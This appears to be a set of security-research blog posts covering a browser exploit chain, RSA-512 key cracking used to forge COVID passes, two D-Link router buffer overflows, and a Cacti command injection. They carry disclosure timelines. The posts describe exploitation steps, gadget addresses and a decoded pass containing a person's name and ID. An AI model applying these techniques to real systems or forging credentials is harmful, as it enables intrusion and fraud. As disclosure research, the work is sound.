Using this OOB read/write on JS array, we can get an arbitrary read/write primitive. The final step in obtaining code execution is to make use of the fact that wasm (WebAssembly) stores its compiled code in an RWX region and the address of the compiled code is stored as a compressed pointer in the WebAssembly.Instance object. Then, by using the arbitrary absolute address write primitive, we were able write shell code to this region and have it executed when we kicked off the compiled wasm code.

Timeline

10/29/2021: Exploit submitted to Pwn2Own Competition
11/01/2021: Submission got rejected due to the usage of n-day

https://0xfatty.github.io/research/2022/01/21/pwning-facebook-portal
How I faked tons of COVID passes — Weak Key Cryptography in real world
Research
Vulnerability Summary
Show full content
Vulnerability Summary

A Non-US Goverment agency was using a QR generation system to provide COVID passes for its citizens to go out. The system was vulnerable to a weak key cryptography attack which may allow COVID patients to self-generate passes.

Vulnerability Analysis

1. QR Data:

Through news channels and social medias, we were able to find a sample COVID pass as below:

1 - Vehicle type
2 - License plate
3 - Seat #
4 - Vehicle operator
5 - Citizen ID
6 - Authorized zone
7 - Valid from/to (date)
8 - Valid from/to (time)

As the QR code was not hidden, we were able to decode its information:

**D9LOgcTFAS1MeC3kD4J+5PmAW5C4mOrPcbwbynsY6GEuGNkpe/dwIM5cr0MS/a+LT1y9z+8sKJA9UaPZTmYJwQ==|**10505|3|06/09;07/09;08/09;09/09;10/09;11/09;12/09;13/09;14/09;15/09;16/09;17/09;18/09;19/09;20/09|4_[LOCAL_NON_US_GOVENMENT_AGENCY_NAME_]]|02439424451|29G1–391.89| |Vùng 1|Nguyễn Ánh Ngọc||09:00–20:00

The decoded string above contains information about the requester, zone ID/passes provider (i.e. 10505). Additionally, there is a signature string at the beginning of this decoded QR - signed by RSA - SHA 256.

2. Validation

It was not hard for us to find out the application on Google Play Store (now removed). However, due to countries restriction, we had to use VPN to download the application named Vehicle Operating Control which had been removed after the research.

Let’s go through the application workflow:

The above workflow is server-less, meaning it does not need any servers during the application process. Hence, there would be an obvious pros: the system would never be overloaded. However, the huge cons here is: the application trusts its clients 100% which is not ideal.

Not validating the data on server side means one thing: If the Private Key from one (1) zone was leaked, anyone would be able to generate valid passes.

3. Deep dive into the workflow

The original data was retrieved from the QR:

**D9LOgcTFAS1MeC3kD4J+5PmAW5C4mOrPcbwbynsY6GEuGNkpe/dwIM5cr0MS/a+LT1y9z+8sKJA9UaPZTmYJwQ==|**10505|3|06/09;07/09;08/09;09/09;10/09;11/09;12/09;13/09;14/09;15/09;16/09;17/09;18/09;19/09;20/09|4_[LOCAL_NON_US_GOVENMENT_AGENCY_NAME_]]|02439424451|29G1–391.89| |Vùng 1|Nguyễn Ánh Ngọc||09:00–20:00

This contains: 10505 - zone ID/passes provider, named Local Authority Department.

Once the application received the QR data, it would take the data string from zone ID to the end, then do the following steps:

  • Removing |
  • Removing special characters
  • English Alphabetized all chars (i.e.: ê -> e)
  • Lowercase transformation

4. Processing string input

The data became:

**10505**3060907090809090910091109120913091409150916091709180919092009**4_localauthority**02439424451**29g139189**vung1**nguyenanhngoc**09002000

Next, the data was hashed using a custom hashing algorithm. The algorithm pseudocode is below:

Hashcode = 0
Count = 0
For char in String:
Count += 1
Hashcode += char * Count
Hashcode = (1988 * Hashcode — 1910) / 2

Once the data went through above hashing process, it then became a new format: 682673275

This is the first cons in the application workflow. The fact that the above hashcode was quite easy to reproduce led to possible Collision attacks, meaning there could be other strings having the same hashcode.

The data, after getting through hashcode process, will then be validated using hard-coded Public key in the application. However, we found all hard-coded Public keys were using RSA 512. Obviously, RSA 512-bits key was proven breakable years ago.

After spending few hours doing research, we found an interesting research paper: Factoring as a Service

Reference: https://seclab.upenn.edu/projects/faas/faas.pdf

The authors utilized the “cloud power” to crack one (1) RSA 512-bit key within a few hours instead of using a single machine. And looks like it’s doable. Luckily, the authors also published their research as well as code repo.

Link: https://github.com/eniac/faas

Although the code was provided, we took around 2 days to get this running since the code was written back in 2015. Some libraries are not currently supported forced us to make several changes on the code. The project was then running smoothly.

State of the Art

The most interesting thing, I believe, not about the bug, but about setting up cracking environment.

1. Setting up the environment

As I mentioned above, the code was written back in 2015 by a group of Professors and Researchers from the University of Pennsylvania. A 7 years old tool, in fact, is no longer compatible with current libraries and software versions. Hence, it took time to setup and dry-run. Most of the time we spent on debugging, finding compatible libraries versions.

The result came back great as we were able to crack a sample 100 chars length RSA.


Setting up EC2 instances

2. Cracking the real key

Jumping back to the application, hard-coded public keys have 155 chars in length (RSA 512-bits). This means, cracking them would need more than 1 cloud instance and super time consuming.

We used a total of 16 EC2 instances x 36 CPUs x 60 GiB Memory for each key. Once the script is run, the only thing we would do is waiting and hoping it will not return any FATAL errors.

Surprisingly, roughly 9 hours later, we were able to get the result

3. Cost

We spent ~$250 USD to crack 2 RSA 512-bits keys in 9 hours (+ sample key - 100 chars)

We then tried to optimize the entire process by re-using generated sieves for other keys but unsuccessful. I also reached out to one of the authors and was told to store these sieves in a database. However, due to several reasons, we did not try further.

4. Generating QR code using found Private Key

Once we got the key factors, we were able to calculate the original Private Key and generate several valid COVID passes.

https://0xfatty.github.io/research/2021/09/29/weak-key-cryptography-in-real-world
[ZDI-21-977] D-Link DAP-2020 webproc Stack-based BOF RCE
Research
Overview
Show full content
Overview
  • Discoverer: Chi Tran & phieulang93 & chung96vn
  • Vendor & Product: D-Link
  • Version: DAP-2020 A1
  • Zero Day Initiative: ZDI-21-977
  • CVE Reference: CVE-2021-34861
Vulnerability Detail

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DAP-2020 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the webproc endpoint, which listens on TCP port 80 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.

After analyzing the DAP-2020 A1 Router, a Stack Buffer-overflow vulnerability was discovered on mini_httpd service via post data, which exist in main() function in /usr/www/cgi-bin/webproc binary.

The following is part of decompiled code of /usr/www/cgi-bin/webproc binary, the buffer overflow vulnerability was discovered in main() function (See below)

// 00401e20 main - /usr/www/cgi-bin/webproc
// 00401e20 main - /usr/www/cgi-bin/webproc
int main(void)
{
    ...[TRUNCATED]...
    puVar6 = g_pstNetVars;
    while (ppcVar7 = g_pstWebVars, puVar6 != (undefined4 *)0x0) {
        if (iVar5 == 0) {
            __haystack = "?";
        }
        else {
            __haystack = "&";
        }
        iVar2 = sprintf(__s1,"%s%s=%s",__haystack,*puVar6,puVar6[1]); //BOF ==> 004024a8
        puVar6 = (undefined4 *)puVar6[2];
        __s1 = __s1 + iVar2;
        iVar5 = iVar5 + 1;
    }
    ...[TRUNCATED]...
    while (__haystack = g_stPostInfo._16_4_, ppcVar7 != (char **)0x0) {
        __haystack = *ppcVar7;
        iVar2 = strncmp(__haystack,"var:",4);
        if ((((iVar2 == 0) && (iVar2 = strcmp(__haystack,"var:CacheLastData"), iVar2 != 0)) &&
                (iVar2 = strncmp(__haystack,"var:mod_",8), iVar2 != 0)) &&
            ((iVar2 = strncmp(__haystack,"var:sys_",8), iVar2 != 0 &&
                (iVar2 = strcmp(__haystack,"var:sessionid"), iVar2 != 0)))) {
            if (iVar5 == 0) {
                pcVar4 = "?";
            }
            else {
                pcVar4 = "&";
            }
            iVar2 = sprintf(__s1,"%s%s=%s",pcVar4,__haystack,ppcVar7[1]); //BOF ===> 004025c0
            __s1 = __s1 + iVar2;
            iVar5 = iVar5 + 1;
        }
        ppcVar7 = (char **)ppcVar7[2];
    }
    ...[TRUNCATED]...
}

We were able to build a test environment for this vulnerability (See below). Additionally, many parameters can be used to trigger the Buffer Overflow vulnerability.

The application crashed after an attack data was sent where we were able to control $PC, $S4, some registers as well as content on the heap and stack (See below)

More importantly, ASLR is not enabled on physical devices and the stack is executable (See below). We were able to control the memory where it is pointed by the $SP register which is executable in the context of the stack segment.

In fact, if we can control the $PC register to point to the shell-code in memory, we will be able to achieve Remote Code Execution on the affected device.

We managed to use 2 gadgets: addiu $a3, $sp, 0x28 ; jalr $t9 and move $t9, $a3 ; jalr $t9 in /lib/libuClibc-0.9.30.so (ASLR is disabled) to control $A3 point to stack (part of post data), then control $PC point to $A3 register (See below)

Impact
  • When a memory buffer overflow occurs and data is written outside the buffer, the running program may become unstable, crash or return corrupt information. The overwritten parts of memory may have contained other important data for the running application which is now overwritten and not available to the program anymore. Buffer overflows can even run other (malicious) programs or commands and result in arbitrary code execution
  • Proof of Concept:

Report Timeline

2021-03-12 - Vulnerability reported to vendor (through Zero Day Initiative)
2021-08-18 - Coordinated public release of advisory

https://0xfatty.github.io/research/2021/08/21/zdi-21-977-d-link-dap-2020-webproc-stack-based-bof-rce
[CVE-2020-8962] D-LINK DIR-842 Stack-based Buffer-overflow
Research
Overview
Show full content
Overview
  • Author: Chi Tran
  • Vendor & Product: D-Link
  • Version: DIR-842_REVC_RELEASE_NOTES_v3.13B09_HOTFIX
  • CVE Reference: CVE-2020-8962
Vulnerability Detail

On December 31, 2019, D-Link released DIR-842_REVC_RELEASE_NOTES_v3.13B09_HOTFIX to fix the hard-coded credential issue (CVE-2019-18852).

By analyzing the firmware using QEMU, I observed that requests to /MTFWU are configured to be handled by /usr/sbin/mtfwu in HTTPD service configuration.

Digging into this path, the execution is symlinked by /htdocs/cgibin

At this point, I saw the attack surface is around HTTPD service at /MTFWU endpoint. From reversing the firmware (.bin), I was able to determine the stack buffer overflow via LOGINPASSWORD parameter.

Line 19 and 50 indicate where Buffer Overflow occurs when we craft a POST request to /MTFWU with long enough value in LOGINPASSWORD parameters. This would make the service to crash and lead to an RCE as a result.

And it is always good to see these types of emails. Exploit was confirmed and bug got fixed!

Impact

When a memory buffer overflow occurs and data is written outside the buffer, the running program may become unstable, crash or return corrupt information. The overwritten parts of memory may have contained other important data for the running application which is now overwritten and not available to the program anymore. Buffer overflows can even run other (malicious) programs or commands and result in arbitrary code execution

Remediation

https://support.dlink.com/ProductInfo.aspx?m=DIR-842

Report Timeline

01/14/2020: Discovered the vulnerability
01/15/2020: Responsible disclosure to D-Link security@dlink.com
01/29/2020: Followed up with the previous email since no response
02/03/2020: Followed up by sending a message via D-Link website
02/12/2020: D-Link R&D confirmed the issue and released a HOTFIX for this firmware
02/12/2020: CVE-2020-8962 was assigned to the issue

https://0xfatty.github.io/research/2020/02/13/cve-2020-8962-d-link-dir-842-stack-based-buffer-overflow
[CVE-2020-7237] Remote Code Execution in Cacti RRDTool
Research
Overview
Show full content
Overview
  • Author: Chi Tran

  • Vendor & Product: Cacti - Network Monitoring Tool

  • Version: 1.2.8 and prior

  • CVE Reference: CVE-2020-7237

Vulnerability Detail

Cacti allows authenticated users to set up On-deman RRD Update Settings and uses Boost Debug Log as a path for poller process output.

My approach was trying to supply a dummy string which contained all types of characters (upper/lower cases, number, special characters). Watching cacti log after saving the path, I observed that the dummy string went through every time new poller process begins.

  • a blank file named abc was created .
  • another file named /etc/passwd was created with a notification that /etc/passwd was not a valid argument.
  • poller_automation.php file was handling this dummy string.

My thoughts at this point were around 2 things:

  • poller_automation.php contains something that I could use to bypass the arguments requirements.
  • thinking about a special crafted payload

Tracing poller process workflow, I observed that every time new poller process begins, it calls several PHP scripts:

From the log, I am sure that these php scripts got called by:

  • <path_PHP> <automation scripts> [-arguments]
  • Digging into poller_automation.php, a code block specifies several valid arguments that need to be passed into the scripts when it gets run.

Hence, if we pass into the field one of these arguments followed by OS commands, we will be able to gain Remote Code Execution.

Impact

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

Remediation

https://github.com/Cacti/cacti/commit/5010719dbd160198be3e07bb994cf237e3af1308

Report Timeline

01/17/ 2020: Discovered the vulnerability
01/18/2020: Vendor confirmed and released a fix
01/19/2020: CVE ID assigned

https://0xfatty.github.io/research/2020/01/26/cve-2020-7237-remote-code-execution-in-cacti-rrdtool